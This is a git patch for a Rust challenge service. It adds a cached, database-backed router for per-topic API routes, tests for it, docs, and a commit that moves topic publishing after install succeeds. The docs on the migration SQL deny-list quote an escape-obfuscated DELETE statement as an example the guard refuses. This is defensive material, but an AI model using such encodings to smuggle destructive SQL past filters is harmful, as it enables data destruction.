.await + .unwrap(); + let status = response.status(); + let bytes = axum::body::to_bytes(response.into_body(), 64 * 1024) + .await + .unwrap(); + let body = serde_json::from_slice(&bytes).unwrap_or(serde_json::Value::Null); + (status, body) + } + + /// A registered route is served; a path the topic did not register is not + /// invented, and a method it did not claim is a 405. + #[tokio::test] + async fn a_registered_route_is_served_and_an_unregistered_one_is_not() { + let fake = Fake::new(vec![ + ("tb4", "status", "GET"), + ("tb4", "runs", "*"), + ("tb9", "status", "GET"), + ]); + let app = topic_route_router(mux(fake)); + + let (status, body) = ask(app.clone(), "GET", "/challenge/tb4/status").await; + assert_eq!(status, StatusCode::OK, "{body}"); + assert_eq!(body["topic_id"], "tb4"); + assert_eq!(body["path"], "status"); + assert_eq!(body["method"], "GET"); + assert_eq!(body["summary"], "tb4 status"); + assert_eq!(body["registry"], REGISTRY_TABLE); + assert_eq!(body["challenge_id"], CHALLENGE_ID); + + // `*` answers any method; a method the route did not claim is a 405. + let (status, _) = ask(app.clone(), "POST", "/challenge/tb4/runs").await; + assert_eq!(status, StatusCode::OK); + let (status, body) = ask(app.clone(), "POST", "/challenge/tb4/status").await; + assert_eq!(status, StatusCode::METHOD_NOT_ALLOWED, "{body}"); + + // Nothing registered: the path, another topic, the prefix itself, and + // an id the table cannot hold are all 404. + for uri in [ + "/challenge/tb4/nothing", + "/challenge/tb9/runs", + "/challenge/tb4", + "/challenge/TB4/status", + "/challenge/tb4/status/extra", + ] { + let (status, body) = ask(app.clone(), "GET", uri).await; + assert_eq!(status, StatusCode::NOT_FOUND, "{uri}: {body}"); + assert_eq!(body["error"], "topic_route_not_registered", "{uri}"); + } + } + + /// An unreadable registry is a 503 — never a 404, which a miner would read + /// as "this topic exposes nothing". + #[tokio::test] + async fn an_unreadable_registry_is_a_503_not_a_404() { + let fake = Fake::new(vec![("tb4", "status", "GET")]); + let app = topic_route_router(mux(fake.clone())); + let (status, _) = ask(app.clone(), "GET", "/challenge/tb4/status").await; + assert_eq!(status, StatusCode::OK); + + *fake.broken.lock().unwrap() = true; + let (status, body) = ask(app, "GET", "/challenge/tb4/status").await; + assert_eq!(status, StatusCode::SERVICE_UNAVAILABLE, "{body}"); + assert_eq!(body["error"], "topic_route_registry_unavailable"); + assert!( + !body.to_string().contains("registry unavailable"), + "the database's own words stay in the log: {body}" + ); + } + + /// The challenge's surface keeps every Proof route and adds the topic + /// ones: merging must not shadow `/health`, `/v1/…`, or the topic prefix. + #[tokio::test] + async fn the_challenge_router_keeps_the_proof_routes_and_adds_the_topic_ones() { + let fake = Fake::new(vec![("tb4", "status", "GET")]); + let state = AppState { + store: MemoryStore::new(), + pin: ProofPin::default(), + backend: EvalBackend::Sim, + live_scorer: None, + offer: None, + executor: executor_slot(None), + judge_api_key: None, + admin_hashes: Arc::new(Vec::new()), + vm_probe: None, + epoch: 0, + }; + let app = challenge_router(state.clone(), Some(mux(fake))); + + let (status, body) = ask(app.clone(), "GET", "/health").await; + assert_eq!(status, StatusCode::OK, "{body}"); + assert_eq!(body["challenge_id"], CHALLENGE_ID); + let (status, _) = ask(app.clone(), "GET", "/v1/status").await; + assert_eq!(status, StatusCode::OK, "the Proof routes still answer"); + let (status, _) = ask(app.clone(), "GET", "/challenge/tb4/status").await; + assert_eq!(status, StatusCode::OK, "and the topic route is served"); + + // A host with no route table serves the Proof routes alone. + let app = challenge_router(state, None); + let (status, _) = ask(app.clone(), "GET", "/health").await; + assert_eq!(status, StatusCode::OK); + let (status, _) = ask(app, "GET", "/challenge/tb4/status").await; + assert_eq!(status, StatusCode::NOT_FOUND); + } +} diff --git a/crates/proof-topic-install/Cargo.toml b/crates/proof-topic-install/Cargo.toml index 2a047a7ff..8f484d566 100644 --- a/crates/proof-topic-install/Cargo.toml +++ b/crates/proof-topic-install/Cargo.toml @@ -9,6 +9,7 @@ rust-version.workspace = true publish = false [dependencies] +async-trait = "0.1" proof-canon = { path = "../proof-canon" } proof-experiment = { path = "../proof-experiment" } proof-rlm = { path = "../proof-rlm" } diff --git a/crates/proof-topic-install/src/lib.rs b/crates/proof-topic-install/src/lib.rs index 8088d855e..521d530a9 100644 --- a/crates/proof-topic-install/src/lib.rs +++ b/crates/proof-topic-install/src/lib.rs @@ -23,6 +23,9 @@ //! //! - [`section`] reads the RLM section's parts strictly, and carries the rest. //! - [`install`] is the engine: migrations, routes, rules, binding, journal. +//! - [`routes`] is the **read** side of the routes an install recorded: the +//! dynamic mux the challenge answers `/challenge/{topic_id}/…` from, behind +//! a cache an install invalidates. //! - [`proof_topic_sql_guard`] is the migration deny-list (its own crate: it //! is pure text analysis, and keeping it separate means it can be reasoned //! about — and tested — without a database). @@ -47,6 +50,7 @@ pub mod handler; pub mod install; +pub mod routes; pub mod section; pub use handler::{bound_runner, check_handler, resolve_handler, Handler, HandlerError}; @@ -59,6 +63,7 @@ pub use proof_topic_sql_guard::{ MigrationDenied, Statement, DENIED_DROP_KINDS, DENIED_FUNCTIONS, DENIED_OBJECTS, DENIED_VERBS, OWNED_TABLES, OWNED_TABLE_PREFIX, }; +pub use routes::{is_topic_id, PgTopicRoutes, Resolved, TopicRouteMux, TopicRouteSource}; pub use section::{ is_api_method, is_relative_api_path, read_section, ApiRoute, Migration, SectionPlan, MAX_APIS, MAX_MIGRATIONS, MAX_MIGRATION_SQL_BYTES, READ_KEYS, diff --git a/crates/proof-topic-install/src/routes.rs b/crates/proof-topic-install/src/routes.rs new file mode 100644 index 000000000..1149f7b26 --- /dev/null +++ b/crates/proof-topic-install/src/routes.rs @@ -0,0 +1,231 @@ +//! Reading the routes a topic registered: the dynamic mux's read side. +//! +//! An install **writes** the routes a topic claims into `proof_topic_api` +//! ([`crate::install`]). This module is the other half: the challenge reads +//! that table to answer `/challenge/{topic_id}/…`, so the routes a topic +//! exposes are the ones its install recorded — never a compiled-in list. +//! +//! A stored path is **relative** to the topic's own prefix +//! ([`crate::section::is_relative_api_path`]), so the resolver owns the +//! prefix and a row cannot carry an absolute path out of its topic's +//! namespace. +//! +//! # The cache, and how an install invalidates it +//! +//! A request must not pay a table read, and it must not be answered from a +//! table an install has since changed. An install is a **different process** +//! (the operator's `proof-admin`), so no in-process signal can carry it: the +//! cache is therefore keyed by a **generation**, a cheap +//! `SELECT count(*) FROM proof_topic_api`, and a cached topic is used only +//! while the generation it was read under still holds. +//! +//! A count is a sound change signal here because the table is **append-only +//! for the application role** — `GRANT SELECT, INSERT` and nothing else +//! (migration `0025`), so a route row can be added and never rewritten or +//! removed. A generation that moved is therefore an install that ran, and the +//! next request reads the table again: an install is visible on the next +//! request, which is what "invalidated on install" means across processes. +//! [`TopicRouteMux::invalidate`] is the same thing for a caller in *this* +//! process. +//! +//! # What a resolution means +//! +//! [`TopicRouteMux::resolve`] answers whether the topic registered the path, +//! and for which method. It does **not** decide what a route *does*: the +//! table records a claim (`path`, `method`, `summary`), and the install +//! section is explicit that nothing here interprets a topic's API. A path the +//! topic did not claim resolves to [`Resolved::NotRegistered`], so the +//! challenge can answer 404 rather than invent a route. + +use std::collections::BTreeMap; +use std::sync::{Arc, PoisonError, RwLock}; + +use async_trait::async_trait; +use sqlx::PgPool; + +use crate::section::ApiRoute; +use crate::InstallError; + +/// Whether `id` has the shape of a topic id. +/// +/// The shape is the shared database's own: `proof_topic_api.topic_id ~ +/// '^[a-z0-9][a-z0-9-]{1,62}$'` (migration `0025`). An id outside it cannot +/// be in the table, so it is refused without a query — which is what keeps a +/// stray request from costing a database round trip. +#[must_use] +pub fn is_topic_id(id: &str) -> bool { + let mut chars = id.chars(); + let Some(first) = chars.next() else { + return false; + }; + if !(first.is_ascii_lowercase() || first.is_ascii_digit()) { + return false; + } + let rest = chars.as_str(); + (1..=62).contains(&rest.chars().count()) + && rest + .chars() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') +} + +/// What the mux reads a topic's routes from. +/// +/// A trait rather than a `PgPool` so the resolver can be exercised without a +/// database, and so a host with no database can say so instead of answering +/// from a table it never read. +#[async_trait] +pub trait TopicRouteSource: Send + Sync { + /// Every route `topic_id` registered, in a stable order. + /// + /// # Errors + /// + /// [`InstallError::Db`] when the read fails. + async fn routes(&self, topic_id: &str) -> Result, InstallError>; + + /// A value that changes whenever an install writes a route row. + /// + /// # Errors + /// + /// [`InstallError::Db`] when the read fails. + async fn generation(&self) -> Result; +} + +/// The Postgres read side: the table an install writes. +pub struct PgTopicRoutes { + /// Pool over the shared challenge database. + pub pool: PgPool, +} + +impl PgTopicRoutes { + /// Read `proof_topic_api` through `pool`. + #[must_use] + pub fn new(pool: PgPool) -> Self { + Self { pool } + } +} + +#[async_trait] +impl TopicRouteSource for PgTopicRoutes { + async fn routes(&self, topic_id: &str) -> Result, InstallError> { + crate::install::topic_routes(&self.pool, topic_id).await + } + + /// Rows in the route table. + /// + /// The append-only grant is what makes a count a change signal: an + /// install can only add, so the count moves exactly when the registry + /// does. See the module docs. + async fn generation(&self) -> Result { + let rows: i64 = sqlx::query_scalar("SELECT count(*) FROM proof_topic_api") + .fetch_one(&self.pool) + .await + .map_err(|e| InstallError::Db(e.to_string()))?; + Ok(rows) + } +} + +/// What one lookup found. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Resolved { + /// The topic registered this path for this method (or for `*`). + Route(ApiRoute), + /// The topic registered this path, but not for the method asked. + MethodNotAllowed, + /// Nothing is registered for this topic and path. + NotRegistered, +} + +/// The dynamic route mux: a route table read behind a generation-keyed cache. +pub struct TopicRouteMux { + source: Arc, + cache: RwLock, +} + +/// Routes by topic, valid only while `generation` still holds. +#[derive(Debug, Default)] +struct Cache { + /// The generation the rows were read under, when the cache holds any. + generation: Option, + /// A topic with an empty vector is a topic the table has no rows for. + topics: BTreeMap>, +} + +impl TopicRouteMux { + /// Read routes through `source`. + #[must_use] + pub fn new(source: Arc) -> Self { + Self { + source, + cache: RwLock::new(Cache::default()), + } + } + + /// Answer one request against the routes `topic_id` registered. + /// + /// The method matches a route's own method or a route registered for + /// `*`; the path is compared as stored (relative, no leading slash). The + /// topic id is compared **as it arrives**: it is the table's key, and an + /// id the CHECK cannot hold is refused rather than trimmed into one that + /// resolves. + /// + /// # Errors + /// + /// [`InstallError::Db`] when the registry cannot be read. The caller + /// answers **503**: an unreadable registry is not "no such route". + pub async fn resolve( + &self, + topic_id: &str, + method: &str, + path: &str, + ) -> Result { + if !is_topic_id(topic_id) { + return Ok(Resolved::NotRegistered); + } + let routes = self.routes(topic_id).await?; + let method = method.trim().to_ascii_uppercase(); + let path = path.trim().trim_matches('/'); + match routes.iter().find(|r| r.path == path) { + None => Ok(Resolved::NotRegistered), + Some(route) if route.method == "*" || route.method == method => { + Ok(Resolved::Route(route.clone())) + } + Some(_) => Ok(Resolved::MethodNotAllowed), + } + } + + /// Drop every cached row, so the next lookup reads the table again. + /// + /// The cross-process form of the same thing is the generation probe (see + /// the module docs): an install in another process is seen on the next + /// request without this call. + pub fn invalidate(&self) { + let mut cache = self.cache.write().unwrap_or_else(PoisonError::into_inner); + *cache = Cache::default(); + } + + /// The topic's routes: from the cache when the registry has not moved, + /// from the table otherwise. + async fn routes(&self, topic_id: &str) -> Result, InstallError> { + let generation = self.source.generation().await?; + if let Some(hit) = self.cached(topic_id, generation) { + return Ok(hit); + } + let routes = self.source.routes(topic_id).await?; + let mut cache = self.cache.write().unwrap_or_else(PoisonError::into_inner); + if cache.generation != Some(generation) { + cache.topics.clear(); + cache.generation = Some(generation); + } + cache.topics.insert(topic_id.to_owned(), routes.clone()); + Ok(routes) + } + + /// The cached routes for `topic_id`, when the cache is still current. + fn cached(&self, topic_id: &str, generation: i64) -> Option> { + let cache = self.cache.read().unwrap_or_else(PoisonError::into_inner); + if cache.generation != Some(generation) { + return None; + } + cache.topics.get(topic_id).cloned() + } +} diff --git a/crates/proof-topic-install/tests/install_engine.rs b/crates/proof-topic-install/tests/install_engine.rs index 3d5fc93b4..93aada76f 100644 --- a/crates/proof-topic-install/tests/install_engine.rs +++ b/crates/proof-topic-install/tests/install_engine.rs @@ -20,8 +20,12 @@ use proof_task::{ MetricSpec, PayoutMode, TopicDocument, TopicStatus, FLOPS_BUDGET_MAX, STRATUM_SIZE, }; use proof_topic_install::install::{InstallRequest, InstallState, Installer, SetupSummary}; -use proof_topic_install::{latest_install, topic_routes, InstallError, VMS_PER_SUBMISSION}; +use proof_topic_install::{ + latest_install, topic_routes, InstallError, PgTopicRoutes, Resolved, TopicRouteMux, + VMS_PER_SUBMISSION, +}; use sqlx::PgPool; +use std::sync::Arc; /// The test database, or `None` when the suite should skip. async fn test_pool() -> Option<(db::TestPool, PgPool)> { @@ -190,6 +194,9 @@ async fn a_permitted_bundle_installs_and_the_journal_records_it() { "stored paths are relative: {routes:?}" ); + // The **mux** reads what the install wrote. + mux_reads_what_the_install_wrote(&pool).await; + // The journal's newest row is this run, in the `applied` state. let row = latest_install(&pool, "tb4") .await @@ -204,6 +211,45 @@ async fn a_permitted_bundle_installs_and_the_journal_records_it() { tp.drop_schema().await.expect("drop"); } +/// The dynamic mux **reads** what an install **wrote**: the routes the +/// challenge answers `/challenge/{topic_id}/…` from are the rows this install +/// recorded, and a path nobody registered is not invented. +/// +/// The last part is the cross-process half: a *second* install (another +/// process — the operator's `proof-admin`) appends a row, and the next request +/// serves it with no restart and no in-process signal, because the cache is +/// keyed by the table's generation. +async fn mux_reads_what_the_install_wrote(pool: &PgPool) { + let mux = TopicRouteMux::new(Arc::new(PgTopicRoutes::new(pool.clone()))); + let resolved = mux.resolve("tb4", "GET", "status").await.expect("resolve"); + assert!( + matches!(&resolved, Resolved::Route(r) if r.summary == "topic status"), + "{resolved:?}" + ); + assert_eq!( + mux.resolve("tb4", "POST", "status").await.expect("resolve"), + Resolved::MethodNotAllowed, + "a path registered for GET is not a route for POST" + ); + assert_eq!( + mux.resolve("tb4", "GET", "nothing").await.expect("resolve"), + Resolved::NotRegistered + ); + + sqlx::query( + "INSERT INTO proof_topic_api (topic_id, path, method, summary) \ + VALUES ('tb4', 'v2/runs', 'GET', 'a later install')", + ) + .execute(pool) + .await + .expect("append the second install's route"); + let later = mux.resolve("tb4", "GET", "v2/runs").await.expect("resolve"); + assert!( + matches!(&later, Resolved::Route(r) if r.summary == "a later install"), + "{later:?}" + ); +} + /// A denied migration writes **nothing at all**. /// /// The deny-list runs before the journal opens, so a bundle it refuses leaves diff --git a/crates/proof-topic-install/tests/topic_routes.rs b/crates/proof-topic-install/tests/topic_routes.rs new file mode 100644 index 000000000..9253c59f6 --- /dev/null +++ b/crates/proof-topic-install/tests/topic_routes.rs @@ -0,0 +1,238 @@ +//! The dynamic route mux: what the challenge answers `/challenge/{topic_id}/…` +//! with, and how an install invalidates its cache. +//! +//! These tests drive the resolver through a fake source, so they pin the +//! behavior that matters without a database: a path is served only when the +//! topic registered it, an install is visible on the next request, and an +//! unreadable registry is an error rather than a 404. + +#![allow(clippy::unwrap_used, clippy::expect_used)] + +use std::sync::atomic::{AtomicI64, AtomicUsize, Ordering}; +use std::sync::{Arc, Mutex}; + +use async_trait::async_trait; +use proof_topic_install::routes::{is_topic_id, Resolved}; +use proof_topic_install::{ApiRoute, InstallError, TopicRouteMux, TopicRouteSource}; + +/// A route table an install can "write" to, with the generation probe the +/// Postgres source exposes as a row count. +#[derive(Default)] +struct FakeRegistry { + /// Rows, as `proof_topic_api` holds them: relative path, method, summary. + rows: Mutex>, + /// The generation probe's answer. + generation: AtomicI64, + /// How many times the routes themselves were read. + route_reads: AtomicUsize, + /// When set, every read fails. + broken: Mutex, +} + +impl FakeRegistry { + fn new() -> Arc { + Arc::new(Self::default()) + } + + /// An install: append rows and move the generation, exactly as the + /// append-only table does. + fn install(self: &Arc, topic_id: &str, routes: Vec<(&str, &str)>) { + let mut rows = self.rows.lock().unwrap(); + for (path, method) in routes { + rows.push(( + topic_id.to_owned(), + ApiRoute { + path: path.to_owned(), + method: method.to_owned(), + summary: format!("{topic_id} {path}"), + }, + )); + } + drop(rows); + self.generation.store( + i64::try_from(self.rows.lock().unwrap().len()).unwrap(), + Ordering::SeqCst, + ); + } + + fn break_it(self: &Arc) { + *self.broken.lock().unwrap() = true; + } +} + +#[async_trait] +impl TopicRouteSource for FakeRegistry { + async fn routes(&self, topic_id: &str) -> Result, InstallError> { + self.route_reads.fetch_add(1, Ordering::SeqCst); + if *self.broken.lock().unwrap() { + return Err(InstallError::Db("registry unavailable".into())); + } + Ok(self + .rows + .lock() + .unwrap() + .iter() + .filter(|(t, _)| t == topic_id) + .map(|(_, r)| r.clone()) + .collect()) + } + + async fn generation(&self) -> Result { + if *self.broken.lock().unwrap() { + return Err(InstallError::Db("registry unavailable".into())); + } + Ok(self.generation.load(Ordering::SeqCst)) + } +} + +/// A route a topic registered is served; a route it did not register is not +/// invented, and a method it did not claim is a 405 rather than a 200. +#[tokio::test] +async fn only_a_registered_route_resolves() { + let registry = FakeRegistry::new(); + registry.install("tb4", vec![("status", "GET"), ("runs", "*")]); + let mux = TopicRouteMux::new(registry.clone()); + + assert_eq!( + mux.resolve("tb4", "GET", "status").await.expect("resolve"), + Resolved::Route(ApiRoute { + path: "status".into(), + method: "GET".into(), + summary: "tb4 status".into(), + }) + ); + // `*` is any method. + assert!(matches!( + mux.resolve("tb4", "POST", "runs").await.expect("resolve"), + Resolved::Route(_) + )); + // A path registered for another method is not a route for this one. + assert_eq!( + mux.resolve("tb4", "POST", "status").await.expect("resolve"), + Resolved::MethodNotAllowed + ); + // A path nobody registered is not a route. + assert_eq!( + mux.resolve("tb4", "GET", "admin").await.expect("resolve"), + Resolved::NotRegistered + ); + // Another topic's routes are not this topic's. + assert_eq!( + mux.resolve("tb9", "GET", "status").await.expect("resolve"), + Resolved::NotRegistered + ); + // A topic id the table's own CHECK cannot hold is refused without a read. + for bad in ["TB4", "tb", "tb4 ", "tb_4", "tb4/x", "", "9"] { + assert_eq!( + mux.resolve(bad, "GET", "status").await.expect("resolve"), + Resolved::NotRegistered, + "{bad:?}" + ); + } +} + +/// **The regression this cache exists for:** an install in another process +/// writes the table, and the next request sees it — with no signal beyond the +/// generation probe and no restart. +#[tokio::test] +async fn an_install_is_visible_on_the_next_request() { + let registry = FakeRegistry::new(); + let mux = TopicRouteMux::new(registry.clone()); + assert_eq!( + mux.resolve("tb4", "GET", "status").await.expect("resolve"), + Resolved::NotRegistered, + "nothing is registered yet" + ); + + registry.install("tb4", vec![("status", "GET")]); + assert!( + matches!( + mux.resolve("tb4", "GET", "status").await.expect("resolve"), + Resolved::Route(_) + ), + "the install's route must be served without an explicit invalidate" + ); + + // And the other way round: a topic whose routes are replaced by a later + // install (append-only: the new rows are what the table now holds). + registry.install("tb4", vec![("v2/runs", "POST")]); + assert!(matches!( + mux.resolve("tb4", "POST", "v2/runs") + .await + .expect("resolve"), + Resolved::Route(_) + )); +} + +/// A request that finds the cache current does not read the table again, and +/// a generation that moved refills it. +#[tokio::test] +async fn the_cache_holds_until_the_registry_moves() { + let registry = FakeRegistry::new(); + registry.install("tb4", vec![("status", "GET")]); + let mux = TopicRouteMux::new(registry.clone()); + + mux.resolve("tb4", "GET", "status").await.expect("first"); + let after_first = registry.route_reads.load(Ordering::SeqCst); + mux.resolve("tb4", "GET", "status").await.expect("second"); + mux.resolve("tb4", "GET", "status").await.expect("third"); + assert_eq!( + registry.route_reads.load(Ordering::SeqCst), + after_first, + "a current cache must not re-read the table" + ); + + // An install moves the generation: the next lookup reads again, and an + // in-process caller can drop the cache outright. + registry.install("tb4", vec![("runs", "GET")]); + mux.resolve("tb4", "GET", "runs") + .await + .expect("after install"); + assert!(registry.route_reads.load(Ordering::SeqCst) > after_first); + mux.invalidate(); + mux.resolve("tb4", "GET", "status") + .await + .expect("after invalidate"); + assert!(registry.route_reads.load(Ordering::SeqCst) > after_first + 1); +} + +/// An unreadable registry is an error the caller answers 503 from — never a +/// 404, which would read as "this topic exposes nothing". +#[tokio::test] +async fn an_unreadable_registry_is_an_error_not_a_missing_route() { + let registry = FakeRegistry::new(); + registry.install("tb4", vec![("status", "GET")]); + let mux = TopicRouteMux::new(registry.clone()); + mux.resolve("tb4", "GET", "status").await.expect("warm"); + registry.break_it(); + assert!(mux.resolve("tb4", "GET", "status").await.is_err()); + assert!(mux.resolve("tb4", "GET", "other").await.is_err()); +} + +/// A topic id the table's own CHECK cannot hold never reaches the table. +#[test] +fn a_topic_id_is_the_shape_the_table_holds() { + // The database's own constraint is `'^[a-z0-9][a-z0-9-]{1,62}$'`, so an + // id outside it cannot be in `proof_topic_api` and is refused without a + // query. + for good in ["tb4", "tb4-topic", "t9", "a-b-c", "tb4-"] { + assert!(is_topic_id(good), "{good:?} must be a topic id"); + } + for bad in [ + "", + "t", + "TB4", + "tb4_", + "tb_4", + "tb4/status", + "tb4 status", + "-tb4", + ] { + assert!(!is_topic_id(bad), "{bad:?} must not be a topic id"); + } + assert!( + is_topic_id(&"a".repeat(63)), + "63 chars is the CHECK's limit" + ); + assert!(!is_topic_id(&"a".repeat(64))); +} diff --git a/docs/PROOF.md b/docs/PROOF.md index 6318e2545..14bd2d6e6 100644 --- a/docs/PROOF.md +++ b/docs/PROOF.md @@ -383,6 +383,15 @@ scanning, so a denied word inside a literal is data (not a false refusal) and a denied statement cannot be smuggled in by quoting. Function bodies are *scanned*, not trusted — they are what runs. +A body may also be written as a **string literal**, and the server executes +the *decoded* value, so the guard decodes before it scans: +`''` doubling, `E'…'` backslash escapes (`\xhh`, `\ooo`, `\uXXXX`, +`\UXXXXXXXX`, `\'`), `U&'…'` code points (with `UESCAPE 'c'` honoured), +adjacent literals a newline joins into one string, and the literal bodies of +`CREATE PROCEDURE … AS '…'` and `DO '…'`. Both the decoded value and the +written spelling are scanned, so `E'\x44ELETE FROM proof\x5frule\x5fversion'` +is refused as the `DELETE` it is. + A bundle's `handler` names the run backend, and only two exist: the generic in-guest runner (Firecracker) and an operator-baked Harbor adaptor over it. A path, a URL, or a command line is refused by shape; a well-formed but @@ -390,6 +399,33 @@ unknown id is refused with the allow-list in the message. The **signed document** keeps sole authority over which *runner* the topic's paid jobs use; the handler family is recorded for audit. +#### The routes a topic registers (`proof_topic_api`) + +A topic's `apis` are its own routes: the install records them in +`proof_topic_api` (path **relative** to the topic's prefix, method, summary), +and the challenge **reads** that table to answer +`/challenge/{topic_id}/…`. Nothing about a topic's routes is compiled in. + +| Answer | When | +|--------|------| +| **200** | the topic registered the path, for this method or for `*`; the body is the row the install wrote | +| **405** | the topic registered the path for another method | +| **404** | nothing is registered for that topic and path (an unknown topic is this case) | +| **503** | the route table could not be read — **not** a 404, which would read as "this topic exposes nothing" | + +The registry is cached per request path and **keyed by the table's +generation** (`count(*)`, sound because the table is `SELECT, INSERT` only): +an install in another process — the operator's `proof-admin` — is visible on +the next request, with no restart and no cross-process signal. A host with no +database serves the Proof routes alone. + +The gateway forwards a **topic id** it does not know to the Proof challenge +with the topic id kept in the path (`/challenge/{topic_id}/…`); the challenge +is the gate, so an id that is not a registered topic is a 404. An id that is +not topic-shaped (`^[a-z0-9][a-z0-9-]{1,62}$`, the table's own CHECK) keeps +the registry's `no healthy backends` answer, and `v1/admin/*` stays blocked +for a topic id exactly as it is for a challenge id. + #### Fail-closed, and what an operator does next An install never publishes an `open` document, so a failed install leaves the From d3c79b54029423236feff92a153be8fc44a36764 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 17:53:08 +0000 Subject: [PATCH 10/11] fix(proof): publish a topic only after its install is green MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `topic install` published the signed document **first** and applied the RLM section afterwards. An `open` document is submitable the moment it reaches the registry, so a miner could submit to a topic whose migrations, routes, and rules were not installed yet — and if the install failed, the topic stayed live and uninstalled. The publish is now the last fallible step: drive the RLM, apply the section (both fail-closed, both journaled), then publish, then point the aliases. A refused install publishes **nothing**, and a publish that fails leaves the topic unpublished with nothing to undo — the re-run skips the applied migrations and publishes. The old justification (the topic has to exist before the rest can key on it) does not hold: the rule store, the route table, and the journal key on `topic_id` alone, and the RLM setup writes the document itself when it is absent. Only the aliases need a published topic, so they stay last. The failure messages and the module/runbook docs now say what is and is not in place at each step. Regression tests (bins/proof-admin/tests/cli.rs), both of which fail against the old order: - `the_publish_lands_only_after_the_install_is_green` reads the journal and the migration's table **inside** the publish handler, so it asserts the state a miner would have found at the instant the topic became reachable. - `a_refused_install_never_publishes` drives a deny-listed migration and asserts the admin stub received no request at all, with no journal row and no table. Also repaired, all pre-existing on this branch and all blocking `cargo clippy --workspace` / `cargo test --workspace`: - `bins/proof-challenge` did not compile: the mux wiring needs `proof-topic-install` and `sqlx` as direct dependencies, and the mux helper and queue drainer are extracted so `run` stays under the pedantic line cap. - `bins/proof-admin` clippy: two `Option::is_none_or` sites, a `useless_format`, and two documented allows for the driver's explicit parameter list and the install's order-is-the-contract function. - `crates/proof-rlm-scorer/tests/rlm_e2e.rs` did not compile: `FakeOrchestrator::new` takes the baseline primary and returns an `Arc`, so two call sites were missing the argument and double-wrapped. With the target compiling, two tests then failed on a missing owner-key fixture and one asserted a rules version the store's append-only versioning does not produce (the resume's proposal lands as v2); all three are corrected. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 2 + bins/proof-admin/Cargo.toml | 2 +- bins/proof-admin/src/drive.rs | 14 +- bins/proof-admin/src/install.rs | 122 +++++---- bins/proof-admin/tests/cli.rs | 303 +++++++++++++++++++++++ bins/proof-challenge/Cargo.toml | 2 + bins/proof-challenge/src/main.rs | 65 ++--- crates/proof-rlm-scorer/tests/rlm_e2e.rs | 16 +- docs/PROOF.md | 43 +++- 9 files changed, 475 insertions(+), 94 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 71de4a9ce..2fa269a95 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3764,11 +3764,13 @@ dependencies = [ "proof-store", "proof-submit", "proof-task", + "proof-topic-install", "proof-vm-agent", "proof-vm-fc", "reqwest 0.12.28", "serde_json", "sha2 0.10.9", + "sqlx", "telemetry", "tokio", "tracing", diff --git a/bins/proof-admin/Cargo.toml b/bins/proof-admin/Cargo.toml index abac08937..5d7ceaa80 100644 --- a/bins/proof-admin/Cargo.toml +++ b/bins/proof-admin/Cargo.toml @@ -34,7 +34,7 @@ db = { path = "../../crates/db", features = ["testing"] } hex = "0.4" proof-experiment = { path = "../../crates/proof-experiment" } serde_json = "1" -tokio = { version = "1", features = ["macros", "rt-multi-thread"] } +tokio = { version = "1", features = ["macros", "net", "io-util", "rt-multi-thread"] } [lints] workspace = true diff --git a/bins/proof-admin/src/drive.rs b/bins/proof-admin/src/drive.rs index 092bb4141..4e149ebee 100644 --- a/bins/proof-admin/src/drive.rs +++ b/bins/proof-admin/src/drive.rs @@ -64,11 +64,17 @@ impl DriveOutcome { /// Drive the RLM setup for `topic`. /// +/// Every parameter is a piece of host configuration the driver must check +/// **before** it forwards the first job, and each one is named in the refusal +/// it produces — so they are explicit here rather than bundled into a config +/// struct a caller could half-fill. +/// /// # Errors /// /// [`Failure::Usage`] for a missing piece of host configuration (naming the /// env var), [`Failure::Error`] for a refusal from the orchestrator, the /// lifecycle, or the store. +#[allow(clippy::too_many_arguments)] pub async fn drive( topic: &TopicDocument, pin: &ProofPin, @@ -145,7 +151,7 @@ fn resolve_orchestrator( // Presence only: `FirecrackerOrchestrator::from_env` reads the env itself, // so the CLI checks that each piece *is* set (and names the missing one) // without duplicating the client's parsing and validation. - if url.map(str::trim).filter(|u| !u.is_empty()).is_none() { + if url.map(str::trim).is_none_or(str::is_empty) { return Err(Failure::Usage(format!( "driving the RLM needs the topic-VM orchestrator: set {VM_ORCHESTRATOR_URL_ENV} \ (https, the KVM host agent) plus {VM_ORCHESTRATOR_TOKEN_FILE_ENV} and \ @@ -159,11 +165,7 @@ fn resolve_orchestrator( for the topic-VM orchestrator. It is re-read per request and never logged." ))); } - if image_digest - .map(str::trim) - .filter(|d| !d.is_empty()) - .is_none() - { + if image_digest.map(str::trim).is_none_or(str::is_empty) { return Err(Failure::Usage(format!( "driving the RLM needs {RLM_VM_IMAGE_DIGEST_ENV}: the sha256 digest of the RLM VM \ image the orchestrator boots. A digest is never invented." diff --git a/bins/proof-admin/src/install.rs b/bins/proof-admin/src/install.rs index 97755716d..fafaf5f1e 100644 --- a/bins/proof-admin/src/install.rs +++ b/bins/proof-admin/src/install.rs @@ -3,34 +3,44 @@ //! The procedure is the same in both modes; only the writes differ. A dry run //! stops after the plan is printed. A real install: //! -//! 1. **Publishes** the signed document through the existing admin route -//! (`POST /v1/admin/proof/topics`), with the operator bearer read from a -//! file — never printed, never logged. -//! 2. **Applies** the bundle's RLM section through -//! [`proof_topic_install::Installer`]: migrations under the deny-list, -//! routes, the rule vector, and the executor binding. -//! 3. **Points** the bundle's declared aliases at the topic. -//! 4. **Drives** the topic's RLM setup (`TopicSetup`: provision → +//! 1. **Drives** the topic's RLM setup (`TopicSetup`: provision → //! `propose_rules` → baseline) when `--drive-rlm` is given. This is the //! step that provisions a VM and runs a paid baseline, so it needs //! `--owner-approved` as well. +//! 2. **Applies** the bundle's RLM section through +//! [`proof_topic_install::Installer`]: migrations under the deny-list, +//! routes, the rule vector, and the executor binding. +//! 3. **Publishes** the signed document through the existing admin route +//! (`POST /v1/admin/proof/topics`), with the operator bearer read from a +//! file — never printed, never logged. +//! 4. **Points** the bundle's declared aliases at the topic. +//! +//! # Why the publish is last //! -//! # Why the order is publish-last for a *new* topic, and why it is not here +//! Publishing is what makes a topic **reachable**: a miner can submit to a +//! document whose `status` is `open`, and the topic's routes answer as soon as +//! their rows are in `proof_topic_api`. The 